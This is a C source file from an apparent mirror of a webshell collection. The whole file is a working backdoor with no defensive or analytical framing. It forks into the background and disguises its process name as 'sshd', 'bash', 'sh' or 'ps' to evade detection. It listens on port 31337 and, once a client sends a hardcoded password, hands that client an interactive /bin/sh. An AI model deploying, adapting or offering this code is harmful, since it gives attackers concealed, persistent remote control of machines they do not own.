mirror of
https://github.com/tennc/webshell
synced 2024-09-20 05:41:58 +00:00
72 lines
No EOL
2 KiB
Text
72 lines
No EOL
2 KiB
Text
#include <string.h>
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#include <netinet/in.h>
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#include <arpa/inet.h>
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#include <unistd.h>
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#include <netdb.h>
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#include <stdlib.h>
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#include <sys/socket.h>
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#define BUFSIZ 256
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int main(int argc,char *argv[]){
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int insock,s,port=31337;
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char pass[BUFSIZ+2]="foo";
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ssize_t size;
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struct sockaddr_in servaddr,cliaddr;
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unsigned int len;
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char *newname;
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if(fork()!=0)
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return 0;
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srand(time(NULL));
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switch(rand()%4) {
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case 0:
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newname="sshd";
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break;
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case 1:
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newname="-bash";
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break;
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case 2:
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newname="sh";
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break;
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case 3:
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newname="ps";
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}
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memset(argv[0],0,strlen(argv[0]));
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strcpy(argv[0],newname);/*changeprocessname*/
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close(0);
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close(1);
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close(2);
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servaddr.sin_family=AF_INET;
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servaddr.sin_port=htons(port);
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servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
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s=socket(AF_INET,SOCK_STREAM,0);
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bind(s,(struct sockaddr*)&servaddr,sizeof(servaddr));
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listen(s,10);
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for(;;) {
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len=sizeof(cliaddr);
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insock=accept(s,(struct sockaddr*)&cliaddr,&len);
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if(fork()==0) {
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char buf[BUFSIZ+2]={};
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send(insock,"pass?",6,0);
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size=recv(insock,&buf,BUFSIZ,0);
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if(strncmp(buf,pass,strlen(pass))) {
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send(insock,"WRONG!\n",8,0);
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close(insock);
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exit(0);
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}
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dup2(insock,0);
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dup2(insock,1);
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dup2(insock,2);
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execl("/bin/sh","sh","-i",(char*)0);
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close(insock);
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exit(-1); /* should not reach this point */
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}
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}
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} |